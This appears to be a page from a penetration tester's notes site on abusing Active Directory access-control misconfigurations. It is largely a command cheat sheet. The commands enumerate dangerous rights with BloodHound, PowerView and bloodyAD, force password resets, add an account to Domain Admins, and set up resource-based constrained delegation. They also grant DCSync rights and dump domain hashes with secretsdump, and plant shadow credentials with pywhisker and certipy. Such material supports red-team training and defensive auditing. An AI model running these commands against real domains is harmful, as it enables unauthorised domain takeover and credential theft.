> ## Documentation Index > Fetch the complete documentation index at: https://notes.chaelsoo.me/llms.txt > Use this file to discover all available pages before exploring further. # ACL Abuse Active Directory objects have Access Control Lists that define who can read or modify them. Misconfigured ACEs on user, group, computer, or domain objects are a reliable path to privilege escalation: often set by admins who don't understand the implications of "GenericAll". ## Finding Misconfigs Start with BloodHound's graph, then sweep with PowerView and bloodyAD to catch what BloodHound misses on granular attributes. ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # BloodHound: graph query # "Find Principals with Dangerous Rights" → shows GenericAll, WriteDACL, etc. # On owned nodes: right-click → "Outbound Object Control" # bloodyAD: writable objects from Linux bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get writable --otype ALL bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get writable --otype USER bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get writable --otype COMPUTER ``` ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # PowerView: find all interesting ACEs Import-Module .\PowerView.ps1 Find-InterestingDomainAcl -ResolveGUIDs | Where-Object { $_.IdentityReferenceName -match "your.user|YourGroup" } # Check ACEs on a specific object Get-ObjectAcl -Identity "CN=target,CN=Users,DC=domain,DC=local" -ResolveGUIDs | Select-Object SecurityIdentifier, ActiveDirectoryRights, AceType # DCSync rights specifically Get-ObjectAcl -DistinguishedName "DC=domain,DC=local" -ResolveGUIDs | Where-Object { $_.ObjectAceType -match "DS-Replication" } ``` ## ACL Attack Map | Right | Object Type | Attack | | ---------------------------------------- | --------------- | -------------------------------------------------------------------- | | `GenericAll` | User | Password reset, targeted Kerberoast, shadow credentials | | `GenericAll` | Group | Add yourself or any account as member | | `GenericAll` | Computer | RBCD (set msDS-AllowedToActOnBehalfOfOtherIdentity) | | `GenericWrite` | User | Targeted Kerberoast (set SPN), shadow creds (msDS-KeyCredentialLink) | | `GenericWrite` | Computer | RBCD (set msDS-AllowedToActOnBehalfOfOtherIdentity) | | `WriteDACL` | Any | Grant yourself GenericAll or DCSync rights | | `WriteOwner` | Any | Take ownership → then WriteDACL | | `ForceChangePassword` | User | Reset password without knowing current | | `WriteProperty (msDS-KeyCredentialLink)` | User / Computer | Shadow credentials → PKINIT | | `CreateChild` | OU | BadSuccessor: dMSA escalation (WS2025) | | `DS-Replication-Get-Changes[-All]` | Domain | DCSync | ACL abuse mindmap DACL abuse mindmap showing attack paths for GenericAll, GenericWrite, WriteDACL, AllExtendedRights, and WriteOwner across Group, User, Computer, Domain Object, AdminSD Holder, Group Policy, and Security Descriptor ## GenericAll on User Full control over the object: three viable exploitation paths depending on what's noisiest or most reliable. ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Option 1: Password reset (loudest, triggers password change event) net rpc password $TARGET 'NewPass123!' -U $DOMAIN/$USER%$PASSWORD -S $DC_IP # Option 2: Targeted Kerberoast (see also Kerberoasting page) Set-DomainObject -Identity $TARGET -Set @{serviceprincipalname='fake/spn'} GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $IP -request-user $TARGET Set-DomainObject -Identity $TARGET -Clear serviceprincipalname ``` ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Option 3: Shadow Credentials (stealthiest: no password change) pywhisker -d $DOMAIN -u $USER -p $PASSWORD --target $TARGET --action add --dc-ip $IP certipy shadow auto -u $USER@$DOMAIN -p $PASSWORD -account $TARGET -dc-ip $IP ``` ## GenericAll on Group Add any account to the group directly: domain admin group membership being the obvious endgame. ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # PowerView Add-DomainGroupMember -Identity "Domain Admins" -Members "$USER" # net command net group "Domain Admins" $USER /add /domain ``` ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # bloodyAD from Linux bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST add groupMember "Domain Admins" $USER ``` ## GenericAll on Computer → RBCD Set the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute on the target computer to configure Resource-Based Constrained Delegation. Full attack chain is in [Delegation → RBCD](./delegation#rbcd-resource-based-constrained-delegation). ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # bloodyAD: set RBCD attribute on target computer bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \ set object TARGET$ msDS-AllowedToActOnBehalfOfOtherIdentity -v 'ATTACKER_COMPUTER$' ``` ## GenericWrite on User Can't reset the password directly, but can modify writable attributes: SPN for Kerberoasting or msDS-KeyCredentialLink for shadow creds. ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Targeted Kerberoast via SPN manipulation Set-DomainObject -Identity $TARGET -Set @{serviceprincipalname="fake/spn.$DOMAIN"} ``` ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $IP -request-user $TARGET ``` ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} Set-DomainObject -Identity $TARGET -Clear serviceprincipalname ``` ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Shadow Credentials via msDS-KeyCredentialLink pywhisker -d $DOMAIN -u $USER -p $PASSWORD --target $TARGET --action add --dc-ip $IP ``` ## GenericWrite on Computer → RBCD Same as GenericAll on Computer: set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target. ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \ set object TARGET$ msDS-AllowedToActOnBehalfOfOtherIdentity -v 'ATTACKER_COMPUTER$' ``` ## WriteDACL Rewrite the DACL on the target object: grant yourself GenericAll or DCSync rights and escalate from there. ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} dacledit.py -action write -rights FullControl \ -principal $USER -target $TARGET \ $DOMAIN/$USER:$PASSWORD -dc-ip $IP dacledit.py -action write -rights DCSync \ -principal $USER -target-dn "DC=$DOMAIN,DC=local" \ $DOMAIN/$USER:$PASSWORD -dc-ip $IP secretsdump.py $DOMAIN/$USER:$PASSWORD@$DC_IP ``` ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} dacledit.py -action write -rights FullControl \ -principal $USER -target $TARGET \ $DOMAIN/$USER -hashes :$NTHASH -dc-ip $IP dacledit.py -action write -rights DCSync \ -principal $USER -target-dn "DC=$DOMAIN,DC=local" \ $DOMAIN/$USER -hashes :$NTHASH -dc-ip $IP secretsdump.py $DOMAIN/$USER@$DC_IP -hashes :$NTHASH ``` ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} export KRB5CCNAME=/tmp/ticket.ccache dacledit.py -k -no-pass -action write -rights FullControl \ -principal $USER -target $TARGET \ $DOMAIN/$USER@$DC_HOST dacledit.py -k -no-pass -action write -rights DCSync \ -principal $USER -target-dn "DC=$DOMAIN,DC=local" \ $DOMAIN/$USER@$DC_HOST secretsdump.py -k -no-pass $DOMAIN/$USER@$DC_HOST ``` ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # PowerView alternative Add-DomainObjectAcl -TargetIdentity $TARGET -PrincipalIdentity $USER -Rights All Add-DomainObjectAcl -TargetIdentity "DC=$DOMAIN,DC=local" -PrincipalIdentity $USER -Rights DCSync ``` ## WriteOwner Take ownership of the object first, then use that ownership to grant yourself WriteDACL: from there, escalate as above. ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Step 1: Take ownership Set-DomainObjectOwner -Identity $TARGET -OwnerIdentity $USER # Step 2: Grant yourself WriteDACL now that you own it Add-DomainObjectAcl -TargetIdentity $TARGET -PrincipalIdentity $USER -Rights WriteDacl # Step 3: Grant GenericAll Add-DomainObjectAcl -TargetIdentity $TARGET -PrincipalIdentity $USER -Rights All ``` ## ForceChangePassword Reset the target user's password without knowing the current one: useful when you need access to the account but don't want to enumerate further. ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Linux: net rpc net rpc password $TARGET 'NewPass123!' -U $DOMAIN/$USER%$PASSWORD -S $DC_IP # impacket changepasswd.py $DOMAIN/$TARGET@$DC_IP -newpass 'NewPass123!' -newhashes : ``` ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # PowerView $newpass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force Set-DomainUserPassword -Identity $TARGET -AccountPassword $newpass # rpcclient rpcclient -U '$DOMAIN\$USER%$PASSWORD' $DC_IP setuserinfo2 $TARGET 23 'NewPass123!' ``` ## WriteProperty on msDS-KeyCredentialLink → Shadow Credentials Add a certificate key credential to the target account: authenticates via PKINIT without changing the password, leaving no obvious event log trail. ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # pywhisker: add shadow credential pywhisker -d $DOMAIN -u $USER -p $PASSWORD --target $TARGET --action add --dc-ip $IP # Outputs: PFX file path + PFX password # Authenticate with the certificate → get NT hash certipy auth -pfx $TARGET.pfx -dc-ip $IP # Or get TGT getTGT.py $DOMAIN/$TARGET -pfx-base64 $B64 -dc-ip $IP export KRB5CCNAME=$TARGET.ccache ``` ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Whisker (Windows) .\Whisker.exe add /target:$TARGET /domain:$DOMAIN /dc:$DC_HOST # Outputs: Rubeus command to authenticate with the generated certificate ```